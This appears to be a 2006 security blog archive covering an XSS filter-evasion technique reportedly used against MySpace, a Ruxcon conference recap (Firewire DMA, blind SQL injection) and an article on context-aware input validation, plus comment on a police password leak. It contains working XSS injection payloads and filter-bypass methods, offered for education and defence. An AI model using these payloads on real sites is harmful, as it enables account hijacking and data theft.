<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"><body test='</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">'>Films Go Here!</td></tr>
and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:
' onLoad="alert('XSS');"></body>
then we have XSS.

This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.

Maybe on some sites which allow user comments on articles, etc are vulnerable?
(Note: Wordpress and Blogger aren't vulnerable, see Mitigation)

===========================
4.0 Mitigation
===========================
The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.

The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. <style> tags).


===========================
5.0 Final Notes
===========================
Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.

Sadly/Luckily (depending on your viewpoint) manyfilters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.

Tuesday, October 17, 2006

Updated my article entitled " Writing an XSS Worm" to v0.3

Just posting to say that I've updated the guide I've written to include a brief explanation of how to create an XSS worm using Flash. The aditions are not very in depth and exist to give it more completeness than any other reason, but that is primarily because all that needs to be done with Flash is so self explanatory I don't really believe I need to provide any worm code for people to be able to easily grasp the idea and be able to implement it.

If you are only interested in seeing the updates, I have marked all the updates with the word "Update:" in bold so they should be easy to find.

Wednesday, October 11, 2006

Ruxcon 2006

Note:(15/11/06): storm.net.nz (metlstorm's site - which hosts many of the files linked to here) is down and so I've uploaded all the files related to his talk here: http://mihd.net/qulyn8

Its quite a while after Ruxcon is over, but I completely forgot I even had a blog, let alone remembered to actually update it.

Anyway, Ruxcon was awesome, saw some really cool talks, saw some really amazing things, saw more applications for existing ideas.

But the one talk I'm sure will stand out in everyone's mind is security-assesment.com's Adam "Metlstorm" Boileau's "Hit By A Bus: Physical Access Attacks with Firewire" talk. Only 2 new things were really unveiled in this talk (not that that minimises their importance), but due to his theatrics it was the one that everyone I talked to mentioned as their favourite for the first day.

I'm not going to outline it since I wouldn't give it the credit it deserves, so i recomend going and having a look at his presentation here: http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf and also on the page relating to the talk on his own website where all the tools/code have been uploaded: http://www.storm.net.nz/projects/16

I will cover the 2 new things that he disclosed though:

Firewire Direct Memory Access (DMA) attacks which were previously not possible against Windows now are. The way to gain DMA in a windows machine through firewire is to pretnd to be a trustworthy device like an iPod or similar, not an evil Linux box.

BIOS and Disk Encryption passwords are storedin the realmode keyboard buffer which is not cleared when the computer enters protected mode, and so BIOS and disk encryption passwords are still in memory when the computer is running. THe nly limitation to this though is that the buffer is limited to 15 characters, so while its going to get you the whole passord most of the time, its not going to get it all the time, but even so, 15 characters is still a lot of information.

So as he said "Firewire is great. Everyone should get Firewire.", now time to get a box with a Firewire port and linux on my iPod and we'll see what havoc I can cause, :p

I also rather enjoyed Ilja van Sprundel's talk entitled "Unusual Bugs" for which the presentation can be found here: http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf. It was rather interesting to me since I have not had much experience in security outside wb apps, so it helped a lot. There'a a funny little quotes on one of his websites, which I found rather amusing:

A warning: printf uses its first argument to decide how many arguments follow and what their type is. It will get confused, and you will get wrong answers, if there are not enough arguments of if they are the wrong type. You should also be aware of the difference between these two calls:

printf(s); /* FAILS if s contains % */
printf("%s", s); /* SAFE */

-- The C programming language 2nd edition (1988).


And the other talk which i really enjoyed was the second last talk of the conference, which was Ben Hawkes' "Exploiting OpenBSD" for which slides are vailiable at http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf it helped me understand more fully the protections in place in OpenBSD, and Operating Systems in general. Furthermore I found it interesting that the technique which Ben described as "byte for byte" brute forcing is an idea described in several articles in web application security for doing Blind SQL Injection Table Enumeration[1]. This leads me to believe that we are destined to solving the same problems over and over for every single technology, not just finding out that forgetting to Authenticate is bad in web apps, then completely forgetting the idea for AJAX (as per Andrew van der Stock's "Ajax Security" talk), or as the case is here thinking of an idea for attacking web apps and then not trying to think of what other applications the idea might have.

Not that I'm trying to diminish Ben's idea, it is one that really helps, but it is one I'm sure that anyone who has seen the SQL Injection technique I have described will automatically jump to when thinking of how to execute a "better brute force" attack, I know that was the first thing I thought of when he started saying he had thought of a better technique.....

Anyway, I had a great time, saw some interesting things, learned a lot, and met a few people. Also an interesting bit of trivia; at the Google party on the saturday night which I think approximately 60-80 people attended they drank $4,000 of drinks on googleaccount, and the moment this was announced the following morning a huge chear went up, just before another security-asesment.com employee's - Morgan Marquis-Boire - talk "Access over Ethernet: Insecurites in AoE".

[1] I'll try to find where I found this mentioned, but essentially the idea is that when performing Blind SQL injection its possible to do checks on single letters rather than whole records, so you can find out how many tables begin with the letter a, the letter b, the letter c, etc, and then for each of those see how many have the second letter asa, as b, etc, etc, and run a brute force letter by letter.

Well, i didn't find the article I read (probably because i read the article on some obscure hacking site at least 6 months ago, and I have no idea where that could be), but I found an article on using a tool which uses the described attak here: http://www.justinclarke.com/archives/2006/03/sqlbrute.html

Monday, April 24, 2006

Validation in Context

Its been a while since I posted anything here, but considering I'm fairly sure no-one actually reads this and I had nothing new to write that hadn't been written elsewhere (or at least I haven't seen written elsewhere), I haven't really bothered writing much more, but after finding an XSS hole relating to this topic today i thought I'd write about it.

======================
Validation in Context
======================

==============
Contents
==============

  - 1.0 Introduction
  - 1.1 What is context?
  - 1.2 Why is context important?

  - 2.0 The contexts of SQL Injection

  - 3.0 The contexts of XSS

  - 4.0 Conclusion


================
1.0 Introduction
================
In this article I would like to explain the need for the need of validation (and encoding/escaping) in context. The need for validation is one that is often known only by a few implications, and usually performed either prematurely or inadequately. One of the great sources of inadequacy is encoding and validation out of context.

==============
1.1 What is context?
==============
Context is, in the most simple of terms, is the circumstances in which something occurs. For the sake of this article we will refer to context as the circumstances in which operations are performed on user input. An understanding of context is essential to good input validation, encoding/escaping etc (simply referred to as validation from here-on-in).

==============
1.2 Why is context important?
==============
Context is important because we are trying to somehow pass user input to extremely complex systems, be they relational database management systems (RDBMS), browsers or operating systems, without the complex system performing any unexpected actions.

In the simplest of terms, context is important because its (generally) pointless to use a method used in one situation on another situation, e.g. escaping quotes is pointless in stopping XSS, just as escaping < and > symbols is useless in stopping SQL Injection.

==============
1.3 Understanding and finding contexts
==============
For us to be able to understand and find contexts we must be intimately familiar with the system into which we are feeding user input. And furthermore we must be able to know how much capacity for error the system will allow. The easiest example of contexts which we can find would be in SQL injection, which I will cover in the next section.

================
2.0 The contexts of SQL Injection
================
To find contexts in SQL Injection we must first understand our queries. For example, if we are placing user input inside single quotes, it is pointless for us to only escape double quotes and vice versa. And so we have our first 2 states:

  - An expression inside single quotes
  - An expression inside double quotes

But an expression does not have to be inside quotes at all, we could have an integer which is outside quotation marks because it then does not force the RDBMS to evaluate the string and convert it to a number, and in this case our normal validation of escaping quotes (either one or both) would be of extremely limited use in stopping an attacker because the attacker does not need to use quotes to break out of the expression, and does not need quotes for almost all other actions they would like to perform. And so now we have our third context:

  - An un-enclosed expression

But since we know that the value we are expecting is an integer; validating it is not all that difficult, but cases like these prevent solutions like magic_quotes_* (as in PHP's case) from working completely, and begin to illustrate why validation needs to be done in context rather than in a way which stops a few vectors.

In SQL the contexts are few, but do help to illustrate how context needs to be taken into account.

================
3.0 The contexts of XSS
================
In XSS attacks you are passing user input to a much more complex (in terms or input parsing) system than an RDBMS, you are passing user input to a browser. The most basic context people protect against is when user input is placed on the page inside a container (be it a tag or the page itself acting as a container), so we have our first context:

  - User input inside a container (either a tag, or the page itself)

and the most common method (in PHP, at least) is to simply run everything through either strip_tags() (which as the name implies strips - without any additional parameters - all tags from user input), or the slightly more useful htmlentities() (which encodes all characters which have HTML character entity equivalents are translated into these entities, e.g. < is converted to < and " is converted to ", etc - encoding of quotes though,is optional -, htmlspecialchars() does much the same thing for our purposes, but it only does a few characters, those characters being <>&'" ).

Again, there are more contexts, but the same functions are often relied upon to neutralize threats in several circumstances. The next circumstance would be when user input is placed inside an attribute for a tag, e.g. :

print "<body bgcolor=\"".our_encoding_function($_GET['bg'])."\">";

In this case, using htmlentities() (or htmlspecialchars() ) as our_encoding_function() will still work, but strip_tags() will not, because what we need to filter out or encode here are double quotes, because it would be trivial for an attacker to pass this:

" onLoad="insert malicious javascript here

and be able to execute code without having any tags stripped because the attacker had no need to use tags. But not all attributes are enclosed in double quotes, lets say the developer favoured single quotes and did this:

print "<body bgcolor='".our_encoding_function($_GET['bg'])."'>";

then all our encoding (when supplied with no other parameter then the user input) becomes useless because by default htmlentities() and htmlspecialchars() do not encode single quotes. But even if it was set to encode single quotes it would not help us in the smallest if the developer had not encapsulated user input at all, like so:

print "<body bgcolor=".our_encoding_function($_GET['bg']).">";

, because then we would not need to use quotes ourselves. Admittedly it is much harder to create a javascript payload without using quotes or whitespace, but it is still doable. From here we have 3 new  contexts:

  - User input inside an attribute to a tag, enclosed with double quotes
  - User input inside an attribute to a tag, enclosed with single quotes
  - User input inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

It also matters inside what *kind* of attribute the user input exists. For example if the attribute is merely the background color of the page, then nothing harmful can come about (without of course a bug in the browser) without the user breaking out of the attribute. But what if the tag was a javascript tag, and the user input was enclosed within single quotes inside the javascript, and the attribute was enclosed in double quotes like so (while its not the most likely real world example, it does illustrate a point without having to discuss browser differences):

print "<body onLoad="alert('.our_encoding_function($_GET['bg'])."');\">";

then nothing short of encoding, single and double quotes would suffice (we don't need to worry about > symbols because they can exist inside attributes), because with anything less the user would be able to  break out of either the single quotes encapsulating the string inside the alert statement, and therefore allowing the user to execute arbitrary (well almost) javascript commands, or (because of a browser's permissive nature) break out of the attribute altogether then creating a new attribute with other javascript, and we have XSS all over again. And the same situation could be reversed in a few ways and we get the following contexts:

  - User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with double quotes
  - User input inside some javascript, encapsulated by single quotes, inside  an attribute to a tag, enclosed with single quotes
  - User input inside some javascript, encapsulated by single quotes, inside  an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with double quotes
  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with single quotes
  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

And so we have so many more possible contexts to keep in mind, luckily though it can be simplified down to the following rule:

    - Encode single and/or double quotes depending on whether or not they are used as encapsulation.

We could of course include contexts like being inside CSS, etc, etc, but these are the main ones, and this article is designed to raise awareness of contexts rather than to be a definitive list of them.

The contexts so far presented though have been quite similar, lets have a look at something a bit more esoteric. lets say we have a piece of javascript which is setting a cookie, the input doesn't need to come from a server-side script, it can be done by javascript, and it does not matter because we are not trying to break out of what the javascript is trying to do, we just want to do a bit more than what its intended to do. but for the sake of simplicity lets say we're using the following server-side script:

print "<script>document.cookie = \"name=".htmlentities($_GET['name'], ENT_NOQUOTES)."\";</script>";

now, beside the fact that there is no really sane reason (that I can think of) you would be setting server-side cookies using this method, this is only an esoteric example to show you that you should not confine yourself to the common. The reason is that while we cannot escape any of the boundaries (either the string encapsulation or script tag) we can still cause unexpected behavior by setting other cookie. Lets say we set the name variable to:

Alex;\nid=0;

, then the resulting javascript will become:

<script>document.cookie = "name=Alex;\nid=0;"; </script>

which causes us to set a new cookie (we could overwrite an existing cookie as well) besides the name cookie, and we could use such injection to perform things like $_REQUEST Variable Fixation (http://kuza55.blogspot.com/2006/03/request-variable-fixation.html), or other attacks. But more than to show an actual attack, it is an example of how the context (in this case; setting a cookie) will allow you to perform attacks, where the validation needed to stop those attacks would be useless and restrictive in other cases. And it satisfies my need for an obscure attack vector, :p.

================
4.0 Conclusion
================
What I've outlined here is not really new information, it is merely something which is greatly neglected by many people writing web apps. If there was anything I would like you to take away from this article above all else, it would have to be; know your encapsulation and how it can be broken out of, and how unexpected behaviours can be created. There's really nothing more to it other than remembering that, and not forgetting to apply that knowledge, and not just hope that nobody will notice.

- kuza55

Thursday, April 06, 2006

New South Wales Police's password blunder

http://www.theage.com.au/news/breaking/police-secret-password-blunder/2006/04/05/1143916569155.html
A NSW Police blunder has led to a database of email passwords - including those of the anti-terrorism commander and hundreds of journalists - published on the internet.

The names, email addresses and passwords of as many as 800 people who signed up to receive NSW Police media releases are listed on the database.

Among the exposed passwords is that of Detective Chief Superintendent Mark Jenkins, the man responsible for the state's Counter Terrorist Co-ordination Command unit.


This article has generated a few responses, mostly along the lines of how irresponsible the author of the article and SMH (the Sydney morning Herald) have been in publishing it publicly, especially including such unique strings such as the passwords provided (which aren't actually needed to find the database on google).

And while my initial response was to agree, is it all that much better than the disclosure policy a lot of people seem to subscribe to? While I agree that this is neither educational nor useful in getting the vendor to act faster (since we can only assume the NSW Police were not notified by much in advance, if at all, of the article being published), and it puts those specific users directly at risk, is it all that much worse?

To find the passwords you would have had to have inclination to find them, and an understanding of google, and how to use it effectively, which is all that you really need to get a PoC exploit to work, really, maybe some programming knowledge if a bug has been introduced, but these days it seems to me that the skill level required to use an exploit and find this database are pretty similar.

Of course, I am not condoning this and do agree this is more irresponsible than publishing eploits, but how much worse is it really? the users can react by changing their passwords, and no fix needs to be implemented. It would have been rather easy to find all the emails, and send them all an email saying that their password can be found online and they should change it, it wouldn't have been a hard task, its not as if only google or someone with exceptional skill to resolve the problem had to do it.